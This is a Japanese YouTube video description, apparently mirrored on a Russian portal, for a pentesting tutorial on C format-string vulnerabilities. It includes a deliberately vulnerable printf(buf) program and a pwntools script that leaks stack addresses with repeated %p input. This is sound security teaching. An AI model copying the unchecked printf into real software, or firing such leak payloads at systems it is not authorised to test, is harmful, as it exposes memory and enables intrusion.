Загрузка...

ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ。Simple Format-String入門

◆チャンネル登録はこちら↓
https://www.youtube.com/@whitemarkn?sub_confirmation=1

AIを武器にホワイトハッカーになるチャンネルにようこそ

ペネトレーションテスト&バグバウンティ
「ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ。Simple Format-String入門」です。

「わかりやすく」を追求して動画を作成していきます。
ホワイトハッカー見習いのクロより

◆再生リストはこちらから
https://www.youtube.com/@whitemarkn/playlists

◆動画内の公式アドレスは以下の通り
ハッカーの最強のツールのひとつである「pwntools」入門」
https://whitemarkn.com/penetrationtest/introduction-to-pwntools/

学習用の脆弱なプログラム(vuln_printf.c)
※注意 youtubeの仕様上、<と>は全角になっています。
半角に直して利用してください。
// vuln_printf.c
#include <stdio.h>

int main() {
char buf[200];
printf("Input: ");
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) != NULL) {
// 脆弱コード:ユーザ入力をそのままprintfへ
printf(buf);
printf("\n");
}
return 0;
}

pwntoolsで自動化(leak_printf.py)
# leak_printf.py
from pwn import *

context.log_level = 'info'
p = process('./vuln_printf')

p.recvuntil(b'Input: ')
payload = ' '.join(['%p'] * 20) # %p を20個並べる
p.sendline(payload.encode())

line = p.recvline(timeout=2).decode().strip()
print("raw leak:", line)

parts = line.split()
addrs = []
for s in parts:
try:
a = int(s, 16)
addrs.append(a)
except:
pass

for i, a in enumerate(addrs):
print(f"{i:2d}: {hex(a)}")

p.close()

◆この動画のお品書き
1.Simple Format-String(出力リーク)とは
2.Simple Format-Stringの背景
3.Simple Format-Stringが引き起こす影響
4.Simple Format-Stringの検証方法
5.Simple Format-Stringの対策・防御方法
6.ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ Simple Format-String入門のまとめ

◆AIを武器にホワイトハッカーになるブログ
https://whitemarkn.com/

◆ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ。Simple Format-String入門の記事はこちら
https://whitemarkn.com/penetrationtest/printf-pwntools/

◆ツイッター
https://twitter.com/panpochan

▼ナレーション 音読さん
https://ondoku3.com/

#pwntools
#printf
#SimpleFormat-String

No.177
こんにちは、
C言語のprintfの仕組みを利用してプログラム内部の情報が外部に漏れる「フォーマット文字列(Format-String)脆弱性」と、その安全な確認方法を分かりやすく解説します。

Видео ハッカーはprintfで情報が漏れる仕組みと安全な検証方法をpwntoolsで学ぶ。Simple Format-String入門 канала AIを武器にホワイトハッカーになる
Яндекс.Метрика
Все заметки Новая заметка Страницу в заметки
Страницу в закладки Мои закладки
На информационно-развлекательном портале SALDA.WS применяются cookie-файлы. Нажимая кнопку Принять, вы подтверждаете свое согласие на их использование.
О CookiesНапомнить позжеПринять